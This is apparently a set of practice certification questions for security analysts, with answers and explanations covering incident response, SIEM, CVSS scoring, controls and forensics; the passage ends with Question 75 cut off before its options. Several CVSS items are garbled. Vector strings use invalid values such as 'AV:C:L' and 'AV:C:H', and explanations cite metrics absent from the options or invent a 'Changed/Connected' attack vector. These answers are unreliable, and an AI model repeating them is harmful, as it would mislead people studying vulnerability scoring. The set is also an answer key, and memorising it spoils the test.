Given the following CVSS string:

CVSS:3.0/AV:C:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Which of the following attributes correctly describes this vulnerability?

  1. A user is required to exploit this vulnerability.
  2. The vulnerability is network based.
  3. The vulnerability does not affect confidentiality.
  4. The complexity to exploit the vulnerability is high.
Show answer and explanation

Correct answer: B. The vulnerability is network based.

In the vector string the Attack Vector metric is Network, meaning the vulnerable component is remotely exploitable across a network stack rather than requiring local or physical access. The rest of the string confirms low attack complexity, no privileges, no user interaction, and High impact to confidentiality, integrity, and availability, so 'the vulnerability is network based' is the only accurate description.

Why the other options are wrong

  • A. UI:N indicates no user interaction is required for exploitation.
  • C. C:H shows a high impact to confidentiality, not an absence of impact.
  • D. AC:L indicates low attack complexity, not high.

Question 39

Following an attack, an analyst needs to provide a summary of the event to the Chief Information Security Officer. The summary needs to include the who-what-when information and evaluate the effectiveness of the plans in place.

Which of the following incident management life cycle processes does this describe?

  1. Business continuity plan
  2. Lessons learned
  3. Forensic analysis
  4. Incident response plan
Show answer and explanation

Correct answer: B. Lessons learned

Lessons learned is the incident management phase that involves post-incident review and summary, including who-what-when information and evaluation of the effectiveness of response plans and procedures. This phase directly focuses on documenting the incident summary for leadership and assessing plan effectiveness.

Why the other options are wrong

  • A. Business continuity plan addresses organizational recovery, not incident summary or plan effectiveness evaluation.
  • C. Forensic analysis focuses on technical evidence collection, not on who-what-when summaries for leadership.
  • D. The incident response plan is a preparatory document, not the process of summarizing and evaluating an incident after it occurs.

Question 40

A SOC analyst recommends adding a layer of defense for all endpoints that will better protect against external threats regardless of the device’s operating system.

Which of the following best meets this requirement?

  1. SIEM
  2. CASB
  3. SOAR
  4. EDR
Show answer and explanation

Correct answer: D. EDR

Endpoint Detection and Response (EDR) is a layer of defense specifically designed to protect endpoints regardless of operating system. It provides cross-platform protection against external threats through monitoring, detection, and response capabilities. SIEM is monitoring, CASB is cloud-specific, and SOAR is orchestration, none provide the direct endpoint defense required.

Why the other options are wrong

  • A. SIEM is a monitoring and analysis tool, not an endpoint protection layer.
  • B. CASB protects cloud access and data, not traditional endpoints against external threats.
  • C. SOAR is an orchestration platform for incident response, not an endpoint defense mechanism.

Question 41

Which of the following describes the best reason for conducting a root cause analysis?

  1. The root cause analysis ensures that proper timelines were documented.
  2. The root cause analysis allows the incident to be properly documented for reporting.
  3. The root cause analysis develops recommendations to improve the process.
  4. The root cause analysis identifies the contributing items that facilitated the event.
Show answer and explanation

Correct answer: D. The root cause analysis identifies the contributing items that facilitated the event.

Root cause analysis is conducted to identify the underlying factors and contributing items that enabled an incident to occur. This goes beyond documentation or timelines, it seeks to understand the chain of events and conditions that facilitated the event, enabling organizations to address systemic issues rather than just symptoms.

Why the other options are wrong

  • A. Timeline documentation is a byproduct, not the primary reason for conducting RCA.
  • B. Incident documentation is necessary but secondary; RCA focuses on causation, not reporting.
  • C. Developing recommendations is an outcome of RCA, not its primary purpose.

Question 42

A small company does not have enough staff to effectively segregate duties to prevent error and fraud in payroll management. The Chief Information Security Officer (CISO) decides to maintain and review logs and audit trails to mitigate risk.

Which of the following did the CISO implement?

  1. Corrective controls
  2. Compensating controls
  3. Operational controls
  4. Administrative controls
Show answer and explanation

Correct answer: B. Compensating controls

When an organization cannot implement ideal controls due to resource constraints, compensating controls provide alternative risk mitigation. By maintaining and reviewing logs and audit trails, the CISO compensates for the lack of duty segregation by creating detective and deterrent mechanisms that can identify and investigate errors or fraud after the fact.

Why the other options are wrong

  • A. Corrective controls remediate vulnerabilities after they occur; logs are detective rather than corrective.
  • C. Operational controls manage day-to-day security procedures; this is a strategic mitigation for a control gap.
  • D. Administrative controls involve policies and procedures; this specifically addresses technical compensating measures.

Question 43

Exploit code for a recently disclosed critical software vulnerability was publicly available for download for several days before being removed.

Which of the following CVSS v.3.1 temporal metrics was most impacted by this exposure?

  1. Remediation level
  2. Exploit code maturity
  3. Report confidence
  4. Availability
Show answer and explanation

Correct answer: B. Exploit code maturity

Exploit code maturity reflects the availability and functional completeness of exploit code. When exploit code is publicly available for download, the metric moves up from Unproven to Proof-of-Concept, Functional or High, depending on how well the code works. That makes it the most impacted temporal metric in this scenario.

Why the other options are wrong

  • A. Remediation level reflects vendor response and patch availability, not the presence of public exploit code.
  • C. Report confidence relates to the certainty of vulnerability details, not affected by exploit code availability.
  • D. Availability is a base metric, not a temporal metric.

Question 44

Which of the following best describes the actions taken by an organization after the resolution of an incident that addresses issues and reflects on the growth opportunities for future incidents?

  1. Lessons learned
  2. Scrum review
  3. Root cause analysis
  4. Regulatory compliance
Show answer and explanation

Correct answer: A. Lessons learned

Lessons learned is the formal process conducted after incident resolution where an organization documents what happened, what went well, what didn't, and identifies growth opportunities and improvements for handling future incidents. This retrospective analysis is a critical part of the incident management lifecycle.

Why the other options are wrong

  • B. Scrum review is an agile development practice, not an incident response phase.
  • C. Root cause analysis occurs during incident investigation to identify why an incident happened, not after resolution.
  • D. Regulatory compliance is a requirement but doesn't specifically describe the reflective post-incident process.

Question 45

A security program was able to achieve a 30% improvement in MTTR by integrating security controls into a SIEM. The analyst no longer had to jump between tools.

Which of the following best describes what the security program did?

  1. Data enrichment
  2. Security control plane
  3. Threat feed combination
  4. Single pane of glass
Show answer and explanation

Correct answer: D. Single pane of glass

A 'single pane of glass' refers to a unified interface where security tools and data are consolidated, eliminating the need to switch between multiple systems. By integrating security controls into the SIEM, analysts can view and manage all security information from one location, which directly reduces MTTR by improving efficiency and visibility.

Why the other options are wrong

  • A. Data enrichment adds context to data but doesn't create a unified interface
  • B. Security control plane refers to centralized management of controls, not interface consolidation
  • C. Threat feed combination involves aggregating threat intelligence sources, not tool integration

Question 46

During security scanning, a security analyst regularly finds the same vulnerabilities in a critical application.

Which of the following recommendations would best mitigate this problem if applied along the SDLC phase?

  1. Conduct regular red team exercises over the application in production
  2. Ensure that all implemented coding libraries are regularly checked
  3. Use application security scanning as part of the pipeline for the CI/CD flow
  4. Implement proper input validation for any data entry form
Show answer and explanation

Correct answer: C. Use application security scanning as part of the pipeline for the CI/CD flow

Using application security scanning as part of the CI/CD pipeline ensures vulnerabilities are caught early and continuously throughout the development process. This prevents the same vulnerabilities from repeatedly appearing in production by integrating security testing into the development workflow itself, making it a systematic and automated approach.

Why the other options are wrong

  • A. Red team exercises are post-deployment testing and don't prevent vulnerabilities during development.
  • B. Checking coding libraries helps but doesn't directly address application-specific vulnerabilities.
  • D. Input validation is a specific coding practice but doesn't systematically catch all recurring vulnerabilities across the pipeline.

Question 47

A new cybersecurity analyst is tasked with creating an executive briefing on possible threats to the organization.

Which of the following will produce the data needed for the briefing?

  1. Firewall logs
  2. Indicators of compromise
  3. Risk assessment
  4. Access control lists
Show answer and explanation

Correct answer: C. Risk assessment

A risk assessment provides comprehensive analysis of threats, vulnerabilities, likelihood, and business impact organized at a strategic level suitable for executive consumption. It synthesizes threat information with organizational context to support decision-making, whereas the other options provide lower-level operational data.

Why the other options are wrong

  • A. Firewall logs contain tactical network data but lack the risk prioritization and business context needed for executives
  • B. Indicators of compromise are specific forensic artifacts, not strategic threat analysis suitable for executive briefings
  • D. Access control lists are configuration details unrelated to threat analysis

Question 48

Security analysts review logs on multiple servers on a daily basis.

Which of the following implementations will give the best central visibility into the events occurring throughout the corporate environment without logging in to the servers individually?

  1. Deploy a database to aggregate the logging
  2. Configure the servers to forward logs to a SIEM
  3. Share the log directory on each server to allow local access.
  4. Automate the emailing of logs to the analysts.
Show answer and explanation

Correct answer: B. Configure the servers to forward logs to a SIEM

A SIEM (Security Information and Event Management) system is specifically designed to aggregate logs from multiple servers and provide centralized visibility, alerting, and analysis. This gives security analysts a single dashboard view without requiring individual server access while enabling correlation and threat detection across the environment.

Why the other options are wrong

  • A. A basic database lacks the advanced analysis, correlation, and alerting capabilities of a SIEM designed for security log aggregation.
  • C. Sharing log directories requires analysts to still access individual servers and doesn't provide centralized visibility.
  • D. Emailing logs is inefficient, doesn't provide real-time visibility, and doesn't scale for multiple servers and daily analysis needs.

Question 49

A development team is preparing to roll out a beta version of a web application and wants to quickly test for vulnerabilities, including SQL injection, path traversal, and cross-site scripting.

Which of the following tools would the security team most likely recommend to perform this test?

  1. Hashcat
  2. OpenVAS
  3. OWASP ZAP
  4. Nmap
Show answer and explanation

Correct answer: C. OWASP ZAP

OWASP ZAP is specifically designed for web application security testing and excels at detecting SQL injection, cross-site scripting (XSS), path traversal, and other OWASP Top 10 vulnerabilities. It's a dedicated dynamic application security testing (DAST) tool with automated scanning capabilities ideal for rapid vulnerability assessment in beta deployments.

Why the other options are wrong

  • A. Hashcat is a password cracking tool, not a web vulnerability scanner.
  • B. OpenVAS is a network vulnerability scanner focused on infrastructure/network assets, not web application vulnerabilities.
  • D. Nmap is a network reconnaissance and port scanning tool, not designed for application-level vulnerability testing.

Question 50

A manufacturing company’s assembly line machinery only functions on an end-of-life OS. Consequently, no patches exist for several highly exploitable OS vulnerabilities.

Which of the following is the best mitigating control to reduce the risk of these current conditions?

  1. Enforce strict network segmentation to isolate vulnerable systems from the production network.
  2. Increase the system resources for vulnerable devices to prevent denial of service.
  3. Perform penetration testing to verify the exploitability of these vulnerabilities.
  4. Develop in-house patches to address these vulnerabilities.
Show answer and explanation

Correct answer: A. Enforce strict network segmentation to isolate vulnerable systems from the production network.

Network segmentation is the best mitigating control for end-of-life systems with unpatched vulnerabilities. By isolating vulnerable systems from the production network, the attack surface is reduced and lateral movement is prevented. Increasing resources does not address vulnerabilities, penetration testing only verifies risk without mitigation, and in-house patches for OS-level vulnerabilities are impractical and unsupported.

Why the other options are wrong

  • B. Resource increases do not mitigate security vulnerabilities.
  • C. Penetration testing verifies exploitability but does not reduce the actual risk.
  • D. Developing in-house OS patches is not feasible and lacks vendor support.

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Question 51

Which of the following would most likely be used to update a dashboard that integrates with multiple vendor tools?

  1. Webhooks
  2. Extensible Markup Language
  3. Threat feed combination
  4. JavaScript Object Notation
Show answer and explanation

Correct answer: A. Webhooks

Webhooks are the standard mechanism for real-time event-driven updates between systems. They push updates from vendor tools to dashboards automatically, enabling seamless integration and real-time data synchronization across multiple platforms without continuous polling.

Why the other options are wrong

  • B. XML is a data format, not a mechanism for pushing updates to dashboards.
  • C. Threat feed combination describes data aggregation, not dashboard integration mechanics.
  • D. JSON is a data format used in webhooks but doesn't itself update dashboards without a delivery mechanism.

Question 52

After a recent vulnerability report for a server is presented, a business must decide whether to secure the company’s web-based storefront or shut it down. The developer is not able to fix the zero-day vulnerability because a patch does not exist yet.

Which of the following is the best option for the business?

  1. Limit the API request for new transactions until a patch exists.
  2. Take the storefront offline until a patch exists.
  3. Identify the degrading functionality.
  4. Put a WAF in front of the storefront.
Show answer and explanation

Correct answer: D. Put a WAF in front of the storefront.

A Web Application Firewall (WAF) is the best interim solution for protecting a web-based storefront against a zero-day vulnerability when no patch exists. A WAF can be configured with rules to detect and block exploit attempts targeting the known vulnerability, allowing the business to maintain service availability while managing risk until a patch becomes available.

Why the other options are wrong

  • A. Limiting API requests is insufficient protection against a known zero-day vulnerability.
  • B. Taking the storefront offline causes complete business disruption when a mitigation strategy is available.
  • C. Identifying degrading functionality does not address the vulnerability or protect against exploitation.

Question 53

After an incident, a security analyst needs to perform a forensic analysis to report complete information to a company stakeholder.

Which of the following is most likely the goal of the forensic analysis in this case?

  1. Provide a full picture of the existing risks.
  2. Notify law enforcement of the incident.
  3. Further contain the incident.
  4. Determine root cause information.
Show answer and explanation

Correct answer: D. Determine root cause information.

The primary goal of forensic analysis in incident reporting is to determine root cause information. Understanding what happened, how it happened, and why enables the organization to report complete findings to stakeholders and implement preventive measures. Root cause analysis directly supports the forensic investigation objective of providing comprehensive incident intelligence.

Why the other options are wrong

  • A. Risk assessment is separate from forensic analysis; it occurs during risk management, not after-incident investigation.
  • B. Law enforcement notification is a separate incident response process, not the primary goal of forensic analysis itself.
  • C. Containment occurs during incident response; forensic analysis happens afterward to investigate what occurred.

Question 54

A cybersecurity analyst has been assigned to the threat-hunting team to create a dynamic detection strategy based on behavioral analysis and attack patterns.

Which of the following best describes what the analyst will be creating?

  1. Bots
  2. IoCs
  3. TTPs
  4. Signatures
Show answer and explanation

Correct answer: C. TTPs

Tactics, Techniques, and Procedures (TTPs) represent behavioral patterns and attack methodologies used by threat actors. Creating a dynamic detection strategy based on behavioral analysis and attack patterns directly describes developing TTPs, which enable detection of threats regardless of specific indicators and adapt to adversary evolution.

Why the other options are wrong

  • A. Bots are automated agents that perform specific tasks, not strategic detection frameworks.
  • B. Indicators of Compromise (IoCs) are specific artifacts like IPs or hashes, not behavioral patterns.
  • D. Signatures are static detection rules, not dynamic behavioral strategies.

Question 55

While configuring a SIEM for an organization, a security analyst is having difficulty correlating incidents across different systems.

Which of the following should be checked first?

  1. If appropriate logging levels are set
  2. NTP configuration on each system
  3. Behavioral correlation settings
  4. Data normalization rules
Show answer and explanation

Correct answer: B. NTP configuration on each system

NTP (Network Time Protocol) synchronization is fundamental to correlating incidents across systems in a SIEM. If timestamps differ significantly between systems, correlation becomes impossible or inaccurate since events cannot be properly sequenced. This should be checked first before investigating logging levels, correlation settings, or normalization rules, as time synchronization is a prerequisite for all other correlation mechanisms to function correctly.

Why the other options are wrong

  • A. Logging levels affect data volume but not timestamp correlation across systems
  • C. Behavioral correlation settings are secondary concerns after time sync is established
  • D. Data normalization rules depend on proper timestamps being available first

Question 56

Which of the following is the first step that should be performed when establishing a disaster recovery plan?

  1. Agree on the goals and objectives of the plan
  2. Determine the site to be used during a disaster
  3. Demonstrate adherence to a standard disaster recovery process
  4. Identify applications to be run during a disaster
Show answer and explanation

Correct answer: A. Agree on the goals and objectives of the plan

Establishing goals and objectives is the foundational first step in disaster recovery planning because all subsequent decisions about site selection, applications to prioritize, and recovery time objectives (RTO) must align with organizational business requirements and priorities. Without clear goals, the plan will lack direction and may not address the organization's actual needs. This step defines the scope and parameters for all other planning activities.

Why the other options are wrong

  • B. Site selection depends on understanding goals and recovery requirements first.
  • C. Demonstrating adherence to standards comes after the plan is developed.
  • D. Identifying applications requires understanding business priorities, which comes from goals.

Question 57

A Chief Information Security Officer wants to implement security by design, starting with the implementation of a security scanning method to identify vulnerabilities, including SQL injection, RFI, XSS, etc. Which of the following would most likely meet the requirement?

  1. Reverse engineering
  2. Known environment testing
  3. Dynamic application security testing
  4. Code debugging
Show answer and explanation

Correct answer: C. Dynamic application security testing

Dynamic Application Security Testing (DAST) performs runtime analysis by interacting with applications and submitting payloads to identify vulnerabilities such as SQL injection, Remote File Inclusion (RFI), Cross-Site Scripting (XSS), and similar web application flaws. This black-box testing approach executes the application and tests its behavior against common attack patterns, making it ideal for identifying the OWASP Top 10 vulnerabilities mentioned in the requirement.

Why the other options are wrong

  • A. Reverse engineering involves analyzing compiled code but is not a scanning method for identifying vulnerabilities in running applications.
  • B. Known environment testing (white-box testing) examines source code directly but is not as efficient for identifying common injection and XSS vulnerabilities at scale.
  • D. Code debugging is a development tool for fixing defects but is not a systematic scanning method for identifying security vulnerabilities.

Question 58

A cybersecurity analyst is recommending a solution to ensure emails that contain links or attachments are tested before they reach a mail server.

Which of the following will the analyst most likely recommend?

  1. Sandboxing
  2. MFA
  3. DKIM
  4. Vulnerability scan
Show answer and explanation

Correct answer: A. Sandboxing

Sandboxing is the technology used to safely detonate and analyze emails containing links or attachments before they reach mail servers. Sandboxing isolates suspicious content in a controlled environment to test for malicious behavior without risking the actual network. MFA addresses authentication, DKIM verifies email authenticity and origin, and vulnerability scanning identifies weaknesses in systems, none of these test email content safety before delivery.

Why the other options are wrong

  • B. MFA is multi-factor authentication for access control, not email content analysis.
  • C. DKIM is for email authentication and integrity, not testing attachment/link safety.
  • D. Vulnerability scanning finds system weaknesses, not testing individual email payloads.

Question 59

A systems administrator notices unfamiliar directory names on a production server. The administrator reviews the directory listings and files, and then concludes the server has been compromised.

Which of the following steps should the administrator take next?

  1. Inform the internal incident response team.
  2. Follow the company's incident response plan.
  3. Review the lessons learned for the best approach.
  4. Determine when the access started.
Show answer and explanation

Correct answer: B. Follow the company's incident response plan.

When a compromise is suspected, the immediate next step is to follow the company's incident response plan. This plan provides the structured framework for handling the incident, including notification, containment, investigation, and recovery procedures. While informing the incident response team (A) is important, it's typically part of the documented plan. Reviewing lessons learned (C) is appropriate for post-incident analysis, not the immediate response. Determining when access started (D) is part of the investigation but comes after activating the formal response plan.

Why the other options are wrong

  • A. Informing the team is typically part of the formal incident response plan, not a replacement for following it.
  • C. Lessons learned reviews occur after an incident is resolved, not during initial response.
  • D. Timeline determination is part of the investigation phase, which comes after activating the response plan.

Question 60

A company is concerned with finding sensitive file storage locations that are open to the public. The current internal cloud network is flat.

Which of the following is the best solution to secure the network?

  1. Implement segmentation with ACLs.
  2. Configure logging and monitoring to the SIEM.
  3. Deploy MFA to cloud storage locations.
  4. Roll out an IDS.
Show answer and explanation

Correct answer: A. Implement segmentation with ACLs.

The core issue is that sensitive files are exposed to the public due to a flat network architecture. Implementing segmentation with Access Control Lists (ACLs) directly addresses this by restricting access to sensitive storage locations and preventing public exposure. This is the foundational security control needed.

Why the other options are wrong

  • B. Logging and monitoring detect incidents but don't prevent sensitive files from being exposed publicly.
  • C. MFA protects access to storage but doesn't prevent public exposure of files already accessible.
  • D. IDS detects intrusions but doesn't prevent public access to sensitive storage locations in a flat network.

Question 61

Which of the following would eliminate the need for different passwords for a variety of internal applications?

  1. CASB
  2. SSO
  3. PAM
  4. MFA
Show answer and explanation

Correct answer: B. SSO

Single Sign-On (SSO) allows users to authenticate once and access multiple applications without entering different passwords for each. This directly eliminates the need for maintaining separate passwords across different internal applications while improving security and user experience.

Why the other options are wrong

  • A. CASB (Cloud Access Security Broker) manages cloud application access but doesn't consolidate passwords.
  • C. PAM (Privileged Access Management) manages privileged credentials but doesn't eliminate password variety for standard users.
  • D. MFA (Multi-Factor Authentication) adds additional authentication factors but doesn't eliminate password diversity.

Question 62

A security analyst must preserve a system hard drive that was involved in a litigation request.

Which of the following is the best method to ensure the data on the device is not modified?

  1. Generate a hash value and make a backup image.
  2. Encrypt the device to ensure confidentiality of the data.
  3. Protect the device with a complex password.
  4. Perform a memory scan dump to collect residual data
Show answer and explanation

Correct answer: A. Generate a hash value and make a backup image.

To preserve a hard drive for litigation, generating a hash value and creating a backup image is the best method. The hash value (typically MD5 or SHA-256) serves as a forensic fingerprint that proves the data has not been modified, which is critical for legal admissibility. The backup image preserves the exact state of the drive while protecting the original evidence.

Why the other options are wrong

  • B. Encryption protects confidentiality but does not ensure data integrity or prevent modification.
  • C. A password protects access but does not prevent modification of data or serve as proof of integrity.
  • D. A memory dump is relevant for volatile data preservation but not for hard drive preservation in litigation.

Question 63

An organization enabled a SIEM rule to send an alert to a security analyst distribution list when ten failed logins occur within one minute.

However, the control was unable to detect an attack with nine failed logins.

Which of the following best represents what occurred?

  1. False positive
  2. True negative
  3. False negative
  4. True positive
Show answer and explanation

Correct answer: C. False negative

A false negative occurs when an actual attack happens but the detection system fails to alert on it. In this case, nine failed logins represent a genuine attack attempt, but the SIEM rule was configured to trigger only at ten failed logins, so it failed to detect the actual threat that occurred.

Why the other options are wrong

  • A. False positive would be an alert triggered when no actual attack occurred.
  • B. True negative is correct detection of the absence of an attack.
  • D. True positive is correct detection of an actual attack occurring.

Question 64

A vulnerability analyst received a list of system vulnerabilities and needs to evaluate the relevant impact of the exploits on the business. Given the constraints of the current sprint, only three can be remediated.

Which of the following represents the least impactful risk, given the CVSS3.1 base scores?

  1. AV:C:H/PR:H/UI:R/S:U/C:H/I:H/A:L - Base Score 6.0
  2. AV:C:H/PR:H/UI:N/S:C/C:H/I:H/A:L - Base Score 7.2
  3. AV:C:H/PR:H/UI:R/S:U/C:H/I:H/A:H - Base Score 6.4
  4. AV:C:H/PR:N/UI:N/S:C/C:L/I:L/A:L - Base Score 6.5
Show answer and explanation

Correct answer: A. AV:C:H/PR:H/UI:R/S:U/C:H/I:H/A:L - Base Score 6.0

When CVSS base scores are similar, the least impactful risk has the lowest score. Option A with a base score of 6.0 is the lowest among all four options (6.0 < 6.4 < 6.5 < 7.2), making it the least impactful vulnerability. Additionally, option A has AV:P (Physical access required) and UI:R (User interaction required), both of which further reduce the practical exploitability and impact compared to the others, particularly option B with 7.2 score and AV:N characteristics.

Why the other options are wrong

  • B. Base score 7.2 is the highest, representing the most impactful risk requiring priority remediation.
  • C. Base score 6.4 is higher than option A and also includes AV:H (High) without physical access restrictions.
  • D. Base score 6.5 is higher than option A and has AV:N and PR:N indicating network-accessible vulnerability with no privilege requirements.

Question 65

A high volume of failed RDP authentication attempts was logged on a critical server within a one-hour period. All of the attempts originated from the same remote IP address and made use of a single valid domain user account.

Which of the following would be the most effective mitigating control to reduce the rate of success of this brute-force attack?

  1. Enabling a user account lockout after a limited number of failed attempts
  2. Installing a third-party remote access tool and disabling RDP on all devices
  3. Implementing a firewall block for the remote system's IP address
  4. Increasing the verbosity of log-on event auditing on all devices
Show answer and explanation

Correct answer: A. Enabling a user account lockout after a limited number of failed attempts

Enabling account lockout after a limited number of failed authentication attempts is the most effective control to stop brute-force attacks. This directly prevents continued attempts against the valid user account by temporarily disabling it after threshold is reached, making it impossible for the attacker to successfully guess the password.

Why the other options are wrong

  • B. Installing third-party tools and disabling RDP is disruptive and may not be necessary if the attack is already contained.
  • C. Blocking the IP address is reactive and the attacker could use different IPs; it doesn't protect against distributed brute-force attacks.
  • D. Increasing audit verbosity only logs the attack better but does not prevent or reduce the success rate of the brute-force attack itself.

Question 66

Which of the following is the best metric for an organization to focus on given recent investments in SIEM, SOAR, and a ticketing system?

  1. Mean time to detect
  2. Number of exploits by tactic
  3. Alert volume
  4. Quantity of intrusion attempts
Show answer and explanation

Correct answer: A. Mean time to detect

Mean Time to Detect (MTTD) is the best metric to focus on after investing in SIEM, SOAR, and ticketing systems because these tools are specifically designed to identify threats faster and more accurately. MTTD measures the organization's capability to discover security incidents, which directly reflects the value of the detection and orchestration infrastructure. Alert volume and exploit counts are less meaningful, and intrusion attempt quantity does not measure the organization's actual detection capabilities.

Why the other options are wrong

  • B. Number of exploits by tactic measures threat landscape, not detection capability.
  • C. Alert volume is a measure of noise, not effectiveness of new tools.
  • D. Quantity of intrusion attempts is outside the organization's control and doesn't measure tool effectiveness.

Question 67

A recent penetration test discovered that several employees were enticed to assist attackers by visiting specific websites and running downloaded files when prompted by phone calls.

Which of the following would best address this issue?

  1. Increasing training and awareness for all staff
  2. Ensuring that malicious websites cannot be visited
  3. Blocking all scripts downloaded from the internet
  4. Disabling all staff members’ ability to run downloaded applications
Show answer and explanation

Correct answer: A. Increasing training and awareness for all staff

The root cause of the vulnerability is human behavior, employees being socially engineered into visiting malicious sites and running malicious files. Training and awareness programs directly address this root cause by educating staff on recognizing social engineering, phishing tactics, and the dangers of downloading and executing unknown files.

Why the other options are wrong

  • B. Website blocking alone doesn't prevent social engineering or address the behavioral vulnerability that attackers exploited.
  • C. Blocking scripts doesn't address the core issue; attackers used social engineering to convince employees to run files.
  • D. Disabling download execution is overly restrictive and doesn't address the underlying security awareness gap that enabled the attack.

Question 68

Which of the following describes how a CSIRT lead determines who should be communicated with and when during a security incident?

  1. The lead should review what is documented in the incident response policy or plan
  2. Management level members of the CSIRT should make that decision
  3. The lead has the authority to decide who to communicate with at any t me
  4. Subject matter experts on the team should communicate with others within the specified area of expertise
Show answer and explanation

Correct answer: A. The lead should review what is documented in the incident response policy or plan

The incident response policy or plan documents the communication framework, including escalation procedures, contact lists, and timing requirements for notification. This ensures consistent, documented communication during incidents and clarifies roles and responsibilities for the CSIRT lead.

Why the other options are wrong

  • B. While management may be consulted, the policy provides the authoritative guidance, not arbitrary management decisions
  • C. The lead must follow established policies and procedures, not make unilateral decisions about communication
  • D. While SMEs communicate within their areas, the overarching decision-making and timing come from the incident response plan

Question 69

A SOC receives several alerts indicating user accounts are connecting to the company’s identity provider through non-secure communications.

User credentials for accessing sensitive, business-critical systems could be exposed.

Which of the following logs should the SOC use when determining malicious intent?

  1. DNS
  2. tcpdump
  3. Directory
  4. IDS
Show answer and explanation

Correct answer: C. Directory

Directory logs (such as Active Directory or LDAP logs) provide authentication and authorization events specific to identity provider connections, showing successful/failed logins, credential usage, and account access patterns that directly reveal malicious credential usage and authentication anomalies.

Why the other options are wrong

  • A. DNS logs show domain name resolution but not authentication intent or credential exposure.
  • B. tcpdump provides packet-level network data but lacks the authentication context and account-specific information needed.
  • D. IDS logs detect network-based attacks but may miss identity provider-specific authentication anomalies and credential misuse patterns.

Question 70

The security analyst received the monthly vulnerability report. The following findings were included in the report:

• Five of the systems only required a reboot to finalize the patch application

• Two of the servers are running outdated operating systems and cannot be patched

The analyst determines that the only way to ensure these servers cannot be compromised is to isolate them.

Which of the following approaches will best minimize the risk of the outdated servers being compromised?

  1. Compensating controls
  2. Due diligence
  3. Maintenance windows
  4. Passive discovery
Show answer and explanation

Correct answer: A. Compensating controls

Compensating controls are alternative security measures implemented when primary controls cannot be applied. Since the outdated servers cannot be patched, implementing compensating controls such as network isolation, segmentation, enhanced monitoring, and access restrictions provides an alternative risk reduction strategy that minimizes compromise risk without updating the OS.

Why the other options are wrong

  • B. Due diligence is an assessment process, not a control that reduces current compromise risk.
  • C. Maintenance windows do not help servers that cannot be patched due to OS limitations.
  • D. Passive discovery is a reconnaissance technique, not a control that reduces compromise risk.

Question 71

An employee accessed a website that caused a device to become infected with invasive malware. The incident response analyst has:

• created the initial evidence log.

• disabled the wireless adapter on the device.

• interviewed the employee, who was unable to identify the website that was accessed.

• reviewed the web proxy traffic logs.

Which of the following should the analyst do to remediate the infected device?

  1. Update the system firmware and reimage the hardware.
  2. Install an additional malware scanner that will send email alerts to the analyst.
  3. Configure the system to use a proxy server for Internet access.
  4. Delete the user profile and restore data from backup.
Show answer and explanation

Correct answer: A. Update the system firmware and reimage the hardware.

When a device is infected with invasive malware, the most effective remediation is to update firmware and reimage the hardware. This ensures complete removal of the malware by replacing all system files and configurations with clean versions. Reimaging is the industry standard approach for severe malware infections as it eliminates the threat at the system level.

Why the other options are wrong

  • B. Installing additional malware scanners does not remediate an already infected system; it only detects existing infections.
  • C. Configuring a proxy server is a preventive measure for future access control but does not remove existing malware.
  • D. Deleting the user profile alone will not remove malware that may be embedded in system files or other locations.

Question 72

A list of IoCs released by a government security organization contains the SHA-256 hash for a Microsoft-signed legitimate binary, svchost.exe.

Which of the following best describes the result if security teams add this indicator to their detection signatures?

  1. This indicator would fire on the majority of Windows devices.
  2. Malicious files with a matching hash would be detected.
  3. Security teams would detect rogue svchost.exe processes in their environment.
  4. Security teams would detect event entries detailing execution of known-malicious svchost.exe processes.
Show answer and explanation

Correct answer: A. This indicator would fire on the majority of Windows devices.

A SHA-256 hash uniquely identifies a specific file. If the government released the hash for a legitimate, Microsoft-signed svchost.exe binary, adding this hash to detection signatures would trigger alerts on any system containing that exact binary, which is virtually every Windows device, since svchost.exe is a core Windows system process. This represents a false positive scenario where a legitimate indicator causes widespread, unhelpful alerts.

Why the other options are wrong

  • B. Hash matching detects files with identical content, but a legitimate binary is not malicious regardless of hash matches.
  • C. Hash-based detection does not differentiate between legitimate and rogue processes at runtime; it only identifies file content.
  • D. Hash detection alone cannot determine whether execution was malicious; it only identifies file matching.

Question 73

A security analyst is reviewing the findings of the latest vulnerability report for a company’s web application. The web application accepts files for a Bash script to be processed if the files match a given hash. The analyst is able to submit files to the system due to a hash collision.

Which of the following should the analyst suggest to mitigate the vulnerability with the fewest changes to the current script and infrastructure?

  1. Deploy a WAF to the front of the application.
  2. Replace the current MD5 with SHA-256.
  3. Deploy an antivirus application on the hosting system.
  4. Replace the MD5 with digital signatures.
Show answer and explanation

Correct answer: B. Replace the current MD5 with SHA-256.

The vulnerability is caused by MD5's susceptibility to hash collisions, allowing attackers to submit malicious files matching legitimate hashes. Replacing MD5 with SHA-256 directly fixes this weakness with minimal changes, it requires updating only the hashing algorithm in the existing script, not infrastructure changes or additional tools.

Why the other options are wrong

  • A. A WAF addresses web application attacks but doesn't fix the underlying hash collision vulnerability.
  • C. Antivirus on the hosting system is a reactive control, not a mitigation of the hash collision issue.
  • D. Digital signatures require significant infrastructure changes and script modifications beyond the minimal change requirement.

Question 74

A security analyst reviews the latest vulnerability scans and observes there are vulnerabilities with similar CVSSv3 scores but different base score metrics.

Which of the following attack vectors should the analyst remediate first?

  1. CVSS:3.0/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  2. CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  3. CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  4. CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show answer and explanation

Correct answer: C. CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

When CVSSv3 scores are similar, the analyst should prioritize vulnerabilities based on attack vector accessibility. The attack vector (AV) component indicates how a vulnerability can be exploited: P (Physical) requires physical access, A (Adjacent) requires network access on the same segment, C (Changed/Connected) represents a broader network attack surface, and L (Local) requires local access. The Network (AV:N) attack vector is the most critical because it allows remote exploitation with the lowest barriers to entry. Option C with AV:N can be exploited from anywhere on the internet, making it the highest priority for remediation compared to physical (P), adjacent (A), or local (L) attack vectors.

Why the other options are wrong

  • A. AV:P (Physical) requires direct physical access to the system, presenting the lowest practical risk and exploitability.
  • B. AV:A (Adjacent) requires the attacker to be on the same network segment, which is more restrictive than network-wide access.
  • D. AV:L (Local) requires local access or user interaction on the system, limiting the threat scope compared to remote network exploitation.

Question 75

An organization has establish a formal change management process after experiencing several critical system failures over the past year.

Which of the following are key factors that the change management process will include in order to reduce the impact of system failures? (Choose two.)

